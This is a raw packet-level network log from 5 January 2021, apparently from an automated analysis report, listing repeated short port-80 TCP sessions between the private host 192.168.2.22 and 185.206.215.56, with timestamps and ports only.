Jan 5, 2021 19:06:24.440927029 CET	49208	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.441011906 CET	49208	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.489749908 CET	80	49208	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.596065044 CET	49209	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.645188093 CET	80	49209	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.645323038 CET	49209	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.648293972 CET	49209	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.714813948 CET	80	49209	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.715022087 CET	49209	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.792956114 CET	80	49209	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.816570997 CET	80	49209	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.816611052 CET	80	49209	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.816720009 CET	49209	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.816765070 CET	49209	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:24.865499973 CET	80	49209	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:24.972790956 CET	49210	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.021658897 CET	80	49210	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.021791935 CET	49210	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.024326086 CET	49210	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.105479002 CET	80	49210	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.105597019 CET	49210	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.183657885 CET	80	49210	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.203072071 CET	80	49210	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.203155041 CET	80	49210	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.203239918 CET	49210	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.203284979 CET	49210	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.252089977 CET	80	49210	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.377438068 CET	49211	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.426342964 CET	80	49211	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.426497936 CET	49211	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.428992033 CET	49211	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.495935917 CET	80	49211	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.496113062 CET	49211	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.574038982 CET	80	49211	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.591475010 CET	80	49211	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.591517925 CET	80	49211	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.591815948 CET	49211	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.593036890 CET	49211	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.642050982 CET	80	49211	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.758605003 CET	49212	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.807653904 CET	80	49212	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.807832956 CET	49212	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.813759089 CET	49212	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.886641026 CET	80	49212	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.887118101 CET	49212	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.964793921 CET	80	49212	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.992160082 CET	80	49212	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.992206097 CET	80	49212	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:25.992415905 CET	49212	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:25.992468119 CET	49212	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.042135954 CET	80	49212	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.143044949 CET	49213	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.191858053 CET	80	49213	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.192034006 CET	49213	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.197896004 CET	49213	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.277070045 CET	80	49213	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.277198076 CET	49213	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.357991934 CET	80	49213	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.381041050 CET	80	49213	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.381086111 CET	80	49213	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.381411076 CET	49213	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.381458044 CET	49213	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.430188894 CET	80	49213	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.544522047 CET	49214	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.593203068 CET	80	49214	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.593403101 CET	49214	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.599441051 CET	49214	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.667855024 CET	80	49214	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.668005943 CET	49214	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.745647907 CET	80	49214	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.766199112 CET	80	49214	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.766241074 CET	80	49214	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.767463923 CET	49214	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.767527103 CET	49214	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.817292929 CET	80	49214	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.919286013 CET	49215	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.968080044 CET	80	49215	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:26.968168020 CET	49215	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:26.971787930 CET	49215	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.042918921 CET	80	49215	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.043010950 CET	49215	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.105273008 CET	80	49215	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.131364107 CET	80	49215	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.131417036 CET	80	49215	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.131737947 CET	49215	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.131808043 CET	49215	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.180349112 CET	80	49215	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.304584026 CET	49216	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.353576899 CET	80	49216	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.353785992 CET	49216	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.359759092 CET	49216	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.433665037 CET	80	49216	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.433837891 CET	49216	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.498769999 CET	80	49216	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.547158957 CET	80	49216	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.547415972 CET	80	49216	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.547487974 CET	49216	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.547558069 CET	49216	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.596885920 CET	80	49216	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.698705912 CET	49217	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.747677088 CET	80	49217	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.747785091 CET	49217	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.753619909 CET	49217	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.824022055 CET	80	49217	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.824155092 CET	49217	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.886565924 CET	80	49217	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.916227102 CET	80	49217	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.916281939 CET	80	49217	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:27.916488886 CET	49217	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.916526079 CET	49217	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:27.965265989 CET	80	49217	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.072865009 CET	49218	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.121593952 CET	80	49218	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.121721983 CET	49218	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.127708912 CET	49218	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.199242115 CET	80	49218	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.199399948 CET	49218	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.277168036 CET	80	49218	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.287151098 CET	80	49218	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.287194014 CET	80	49218	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.287497997 CET	49218	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.287552118 CET	49218	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.336520910 CET	80	49218	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.451667070 CET	49219	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.500286102 CET	80	49219	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.500487089 CET	49219	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.505440950 CET	49219	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.574105978 CET	80	49219	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.574281931 CET	49219	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.644875050 CET	80	49219	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.661950111 CET	80	49219	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.662005901 CET	80	49219	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.662262917 CET	49219	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.663306952 CET	49219	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.711951017 CET	80	49219	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.825865984 CET	49220	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.874567986 CET	80	49220	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.874675035 CET	49220	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.880701065 CET	49220	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:28.949029922 CET	80	49220	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:28.949122906 CET	49220	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.027147055 CET	80	49220	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.048592091 CET	80	49220	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.048639059 CET	80	49220	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.048938036 CET	49220	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.049012899 CET	49220	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.097484112 CET	80	49220	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.190407038 CET	49221	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.240108967 CET	80	49221	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.240252972 CET	49221	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.244494915 CET	49221	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.324151039 CET	80	49221	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.324312925 CET	49221	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.402384043 CET	80	49221	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.409620047 CET	80	49221	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.409663916 CET	80	49221	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.409949064 CET	49221	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.413419962 CET	49221	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.462680101 CET	80	49221	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.577090025 CET	49222	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.625905037 CET	80	49222	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.625988007 CET	49222	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.630363941 CET	49222	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.699511051 CET	80	49222	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.699589014 CET	49222	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.777506113 CET	80	49222	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.797473907 CET	80	49222	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.797528028 CET	80	49222	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.797760963 CET	49222	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.797821999 CET	49222	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:29.847016096 CET	80	49222	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:29.959969044 CET	49223	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.008776903 CET	80	49223	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.008961916 CET	49223	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.014888048 CET	49223	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.089600086 CET	80	49223	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.089708090 CET	49223	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.167824030 CET	80	49223	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.193197012 CET	80	49223	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.193248987 CET	80	49223	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.193444967 CET	49223	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.193497896 CET	49223	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.242085934 CET	80	49223	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.355034113 CET	49224	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.403935909 CET	80	49224	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.404059887 CET	49224	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.409914970 CET	49224	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.480376005 CET	80	49224	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.480485916 CET	49224	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.558371067 CET	80	49224	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.572042942 CET	80	49224	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.572063923 CET	80	49224	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.572293043 CET	49224	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.573390961 CET	49224	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.621898890 CET	80	49224	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.731503963 CET	49225	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.780168056 CET	80	49225	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.780314922 CET	49225	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.786520004 CET	49225	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.855175972 CET	80	49225	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.855289936 CET	49225	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.933872938 CET	80	49225	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.947633028 CET	80	49225	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.947685003 CET	80	49225	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:30.947911024 CET	49225	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.948441982 CET	49225	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:30.996869087 CET	80	49225	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.108608961 CET	49226	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.157313108 CET	80	49226	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.157463074 CET	49226	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.159641027 CET	49226	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.230155945 CET	80	49226	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.230292082 CET	49226	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.308130026 CET	80	49226	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.319802046 CET	80	49226	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.319824934 CET	80	49226	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.320070982 CET	49226	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.320100069 CET	49226	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.368635893 CET	80	49226	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.491822958 CET	49227	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.540380955 CET	80	49227	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.540499926 CET	49227	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.542985916 CET	49227	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.605149984 CET	80	49227	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.605285883 CET	49227	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.683334112 CET	80	49227	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.697483063 CET	80	49227	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.697531939 CET	80	49227	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.697746038 CET	49227	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.697801113 CET	49227	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.747246981 CET	80	49227	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.848278046 CET	49228	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.897160053 CET	80	49228	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.897357941 CET	49228	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.903232098 CET	49228	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:31.964687109 CET	80	49228	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:31.964823008 CET	49228	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.043112993 CET	80	49228	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.053069115 CET	80	49228	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.053194046 CET	80	49228	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.053442001 CET	49228	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.053497076 CET	49228	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.101957083 CET	80	49228	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.207916975 CET	49229	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.256753922 CET	80	49229	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.256856918 CET	49229	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.262785912 CET	49229	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.324131012 CET	80	49229	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.324218988 CET	49229	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.402445078 CET	80	49229	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.426687956 CET	80	49229	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.426733971 CET	80	49229	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.427110910 CET	49229	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.427164078 CET	49229	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.477746010 CET	80	49229	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.592475891 CET	49230	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.641503096 CET	80	49230	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.641695976 CET	49230	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.647726059 CET	49230	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.717077017 CET	80	49230	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.717231035 CET	49230	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.792913914 CET	80	49230	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.815516949 CET	80	49230	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.815563917 CET	80	49230	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.815843105 CET	49230	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.815897942 CET	49230	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:32.864490986 CET	80	49230	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:32.976373911 CET	49231	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.025253057 CET	80	49231	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.025432110 CET	49231	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.031393051 CET	49231	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.105290890 CET	80	49231	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.105528116 CET	49231	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.183345079 CET	80	49231	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.190809965 CET	80	49231	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.190851927 CET	80	49231	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.191212893 CET	49231	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.191260099 CET	49231	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.239795923 CET	80	49231	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.346282959 CET	49232	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.395862103 CET	80	49232	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.396112919 CET	49232	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.398943901 CET	49232	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.464848042 CET	80	49232	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.465138912 CET	49232	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.542747021 CET	80	49232	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.560619116 CET	80	49232	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.560666084 CET	80	49232	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.560868979 CET	49232	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.560928106 CET	49232	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.609447956 CET	80	49232	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.718290091 CET	49233	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.767175913 CET	80	49233	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.767261028 CET	49233	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.770155907 CET	49233	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.839637041 CET	80	49233	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.839715004 CET	49233	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.917773008 CET	80	49233	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.939742088 CET	80	49233	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.939955950 CET	80	49233	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:33.940018892 CET	49233	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.940080881 CET	49233	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:33.988915920 CET	80	49233	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.110512972 CET	49234	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.159202099 CET	80	49234	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.159368038 CET	49234	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.165365934 CET	49234	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.245894909 CET	80	49234	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.246052027 CET	49234	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.324101925 CET	80	49234	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.334827900 CET	80	49234	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.335050106 CET	49234	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.335143089 CET	80	49234	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.335213900 CET	49234	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.383971930 CET	80	49234	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.509001970 CET	49235	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.557766914 CET	80	49235	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.557899952 CET	49235	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.564013004 CET	49235	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.636403084 CET	80	49235	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.636512041 CET	49235	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.714526892 CET	80	49235	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.721364021 CET	80	49235	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.721450090 CET	80	49235	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.721632004 CET	49235	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.721705914 CET	49235	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.770272970 CET	80	49235	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.880418062 CET	49236	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.929094076 CET	80	49236	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:34.929203987 CET	49236	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:34.935154915 CET	49236	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.011621952 CET	80	49236	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.011723995 CET	49236	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.073900938 CET	80	49236	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.122327089 CET	80	49236	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.122387886 CET	80	49236	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.122539997 CET	49236	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.122596025 CET	49236	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.174329042 CET	80	49236	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.286000967 CET	49237	80	192.168.2.22	185.206.215.56
